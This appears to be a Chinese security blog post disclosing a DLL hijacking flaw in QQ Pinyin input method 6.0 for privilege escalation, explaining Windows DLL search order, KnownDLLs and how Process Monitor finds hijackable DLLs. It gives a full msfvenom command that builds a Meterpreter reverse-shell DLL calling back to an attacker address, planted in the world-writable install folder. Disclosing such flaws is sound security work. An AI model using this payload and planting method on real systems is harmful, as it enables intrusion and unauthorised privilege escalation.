QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权

0x00 DLL劫持简介

《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 – 百度百科

0x01 应用程序寻找DLL的过程

  • 1.程序所在目录
  • 2.系统目录即 SYSTEM32 目录
  • 3.16位系统目录即 SYSTEM 目录
  • 4.Windows目录
  • 5.加载 DLL 时所在的当前目录
  • 6.PATH环境变量中列出的目录

首先如果在程序所在目录下未寻找到DLL,一般会在SYSTEM32目录下寻找到,那么可能会存在DLL劫持,要看注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Windows操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

0x02 寻找过程

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统 中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。 有了Process Monitor,使用者就可以对系统中的任何文件和 注册表操作同时进行监视和记录,通过注册表和文件读写的变化, 对于帮助诊断系统故障或是发现恶意软件、病毒或木马来说,非常 有用。 这是一个高级的 Windows 系统和应用程序监视工具,由优秀的 Sysinternals 开发,并且目前已并入微软旗下,可靠性自不用说。

通过Process Monitor找出一些可能容易被劫持的DLL,特征一般如下:

0x01

  • ntmarta.dll(直接调用)
  • profapi.dll(需要点击“配置”)

这两个都不在KnownDLLs中,由于开发人员调用这两个DLL的时候没有定义绝对路径,导致DLL搜索,我们可以直接在搜索到system32之前,放入我们要劫持的DLL。

权限问题:

如果要劫持的DLL目录被操作系统限制了必须以管理员权限才可以读写,那么我们无法利用,本文演示从低权限到高权限的DLL劫持提权。

0x02

那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400

这个目录是任何人都可以读写的,使用MSF生成DLL:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll > ntmarta.dll

接下来通过任意途径,将dll copy到C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400路径下即可

MSF配置如下:

0x03

当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。

0x04

0x03 视频演示